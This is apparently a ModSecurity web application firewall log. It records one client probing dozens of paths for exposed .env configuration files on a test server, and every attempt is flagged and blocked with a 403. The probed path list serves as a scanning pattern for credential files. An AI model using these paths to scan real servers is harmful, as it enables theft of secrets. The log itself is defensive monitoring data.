[Thu Feb 26 01:03:17.244107 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/jaeger/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizYAAAAAA&quot;]
[Thu Feb 26 01:03:17.270917 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/traefik/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiMgAAAAE&quot;]
[Thu Feb 26 01:03:17.271210 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiMgAAAAE&quot;]
[Thu Feb 26 01:03:17.271444 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiMgAAAAE&quot;]
[Thu Feb 26 01:03:17.290234 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/minio/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/minio/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizYQAAAAA&quot;]
[Thu Feb 26 01:03:17.290535 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/minio/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizYQAAAAA&quot;]
[Thu Feb 26 01:03:17.290706 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/minio/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizYQAAAAA&quot;]
[Thu Feb 26 01:03:17.311008 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sessions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sessions/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiMwAAAAE&quot;]
[Thu Feb 26 01:03:17.311263 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sessions/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiMwAAAAE&quot;]
[Thu Feb 26 01:03:17.311444 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sessions/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiMwAAAAE&quot;]
[Thu Feb 26 01:03:17.323484 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/monitoring/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/monitoring/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizYgAAAAA&quot;]
[Thu Feb 26 01:03:17.323728 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/monitoring/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizYgAAAAA&quot;]
[Thu Feb 26 01:03:17.323885 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/monitoring/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizYgAAAAA&quot;]
[Thu Feb 26 01:03:17.357523 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shared/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiNQAAAAE&quot;]
[Thu Feb 26 01:03:17.357751 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiNQAAAAE&quot;]
[Thu Feb 26 01:03:17.357900 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiNQAAAAE&quot;]
[Thu Feb 26 01:03:17.368765 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/portainer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/portainer/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizYwAAAAA&quot;]
[Thu Feb 26 01:03:17.368996 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/portainer/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizYwAAAAA&quot;]
[Thu Feb 26 01:03:17.369147 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/portainer/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizYwAAAAA&quot;]
[Thu Feb 26 01:03:17.392915 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shibboleth/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shibboleth/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiNgAAAAE&quot;]
[Thu Feb 26 01:03:17.393148 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shibboleth/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiNgAAAAE&quot;]
[Thu Feb 26 01:03:17.393327 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shibboleth/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiNgAAAAE&quot;]
[Thu Feb 26 01:03:17.399551 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/redis-commander/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/redis-commander/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizZAAAAAA&quot;]
[Thu Feb 26 01:03:17.399785 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/redis-commander/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizZAAAAAA&quot;]
[Thu Feb 26 01:03:17.399936 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/redis-commander/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizZAAAAAA&quot;]
[Thu Feb 26 01:03:17.425379 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /shop/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiNwAAAAE&quot;]
[Thu Feb 26 01:03:17.425633 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiNwAAAAE&quot;]
[Thu Feb 26 01:03:17.425804 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.env&quot;] [unique_id &quot;aZ-NxTAL5Lg_nL66HcLiNwAAAAE&quot;]
[Thu Feb 26 01:03:17.431185 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/registry/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/registry/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizZQAAAAA&quot;]
[Thu Feb 26 01:03:17.431419 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/registry/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizZQAAAAA&quot;]
[Thu Feb 26 01:03:17.431569 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/registry/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizZQAAAAA&quot;]
[Thu Feb 26 01:03:17.464410 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/simcore/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/simcore/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizZgAAAAA&quot;]
[Thu Feb 26 01:03:17.464656 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/simcore/.env&quot;] [unique_id &quot;aZ-NxSSJSniLip0oFXizZgAAAAA&quot;]
